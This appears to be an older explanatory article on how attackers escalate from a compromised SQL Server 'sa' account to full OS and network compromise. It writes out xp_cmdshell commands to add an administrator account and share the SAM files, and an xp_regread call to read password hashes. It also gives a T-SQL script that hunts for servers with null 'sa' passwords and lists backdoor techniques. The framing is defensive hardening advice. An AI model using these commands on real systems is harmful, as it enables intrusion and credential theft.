Say someone has compromised an account with execute rights to the xp_cmdshell extended stored procedure (such as 'sa') using a dictionary attack, social engineering, packet sniffing, trojans, keystroke recorders, or simple guessing. The next step is to compromise the OS. This might include firing up the xp_cmdshell stored procedure and typing:
Xp_cmdshell 'net user testuser UgotHacked /ADD'
Then:
Xp_cmdshell 'net localgroup Administrators testuser /ADD'
Note: In SQL 7.0, non-sys admin role users get SQLAgentCmdExec user context by default, so this exploit won’t work unless sa is compromised. Some may argue that once a person compromises the Administrator account, then talking about things they can do is a waste of time. The point is that sa isn’t Administrator; sa is a SQL Server security model member, and its exploitation can lead to a compromise of other security models such as NT. This is the primary point you should take from this section—the idea that attackers can take advantage of a weaker security model to compromise a stronger one.
Now the attacker has an account with local administrator access on your SQL Server machine. (Pray your machine isn’t a domain controller or the user now has domain admin access. Sigh.) While the attackers are there, they just may fire off this query:
Xp_cmdshell 'rdisk /s-'
This effectively rebuilds the information in the \winnt\repair directory without prompting the user.
After backing up the SAM (sam._ in \winnt\repair directory), the attacker can establish an SMB connection to an administrative share or create one:
Xp_cmdshell 'net share getsam=c:\winnt\repair'
Of course, if the SMB ports (UDP 137/138, and TCP 139) are blocked, the attacker will just have to find a Web server with anonymous browsing enabled (or enable it using OLE automation stored procedures), move the file, and use a browser to do his or her dirty work. If that doesn’t work, why not just bcp (bulk copy program) the table into an image field and then use the GetChunk ADO method to pull it over to your machine? How about using the built-in TFTP client to download a Netcat listener to the machine and then configure it to listen and transfer? Be creative — hackers are.
By the way, compromised SQL Servers make excellent launching points for attacks against other machines inside the network. By hopping from server to server it is possible to move virtually undetected through otherwise well-defended networks. Below is an example sql script to enumerate other SQL Servers on the network that have null 'sa' accounts.
-- Create temp table to store enumerated servers
SET NOCOUNT ON
CREATE TABLE #temp (shelldump varchar(255))
INSERT #temp EXEC xp_cmdshell 'osql -L'
DECLARE @current_server varchar(255), @conn_string varchar(255)
DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp
OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server
-- Loop through potential targets and check for null sa accounts
-- If target is vulnerable, version information will be displayed
WHILE @@FETCH_STATUS = 0
BEGIN
If @current_server <> 'Servers:'
BEGIN
SELECT @current_server = rtrim(ltrim(@current_server))
SELECT @conn_string = 'exec master..xp_cmdshell ''osql -S' + @current_server + ' -Usa -P -Q "select @@version"'''
PRINT 'Attempting connection to server: ' + @current_server
EXECUTE (@conn_string)
PRINT '====================================================================='
END
FETCH NEXT FROM sql_cursor INTO @current_server
END
--Clean up
CLOSE sql_cursor
DEALLOCATE sql_cursor
DROP TABLE #TEMP
As the above code shows, a compromised SQL Server can be turned into an unwilling participant in more attacks. Even better for the attacker, subsequent probes/intrusions lanuched from this server will mask the fiend since logs will show the compromised SQL Server to be the source of future suspicious activity.
What if you were smart and disabled the xp_cmdshell extended stored procedure? Now where do we go? Try this little gem:
xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'
If the MSSqlserver service is running under the LocalSystem account, then this call can return an encrypted password or SID right out of the registry. (David LeBlanc - a frequent posted to ntbugtraq - has correctly pointed out that this will only work on machines without SYSKEY installed.)
These are just a few brief samples of exploits that can be performed against an unsecured server. Make sure you audit your own systems to ensure that these and other exploits don’t compromise your security.
So what? They get into the SQL Server, how does this affect my network?
Once the system is compromised, it’s likely the intruder will put backdoors in place to gain access to other systems, and to make sure he or she can get to this box again incase you read this article and implement changes. Some examples include the following:
- Modifying the sp_password stored procedure to capture passwords when users attempt to change their passwords.
- Installing popular shareware/freeware tools such as Netbus or BackOriface on the server so the attacker can access the box in other ways even if SQL is patched. I include this because Administrator access isn’t required for many of these trojans, and SQL Server can make an excellent delivery mechanism.
- Exploiting holes in other services on the machine through OLE Automation. A popular example is an exploit of IIS that allows the attacker to modify the server to allow anonymous access to a secured Web site.
- Installing remote control utilities on the server (through IIS, xp_cmdshell, schedule service, etc.) to gain control of the machine.
- Adding stored procedures to sp_makestartup to allow the attacker to run stored procs when the server is started and use the server’s security context.
- Placing entries in the registry using extended stored procs or “regedit /s filename.reg” at the command line. These entries could open null user holes or run scripts at certain times to allow for more access. With registry access at the administrator level, the attacker has total control.
You need to secure SQL Server before it goes into production. If it’s too late for this, then do your best to look for these trojans and remove them. Good logging will help you to monitor access and see who is using the server in ways they shouldn’t.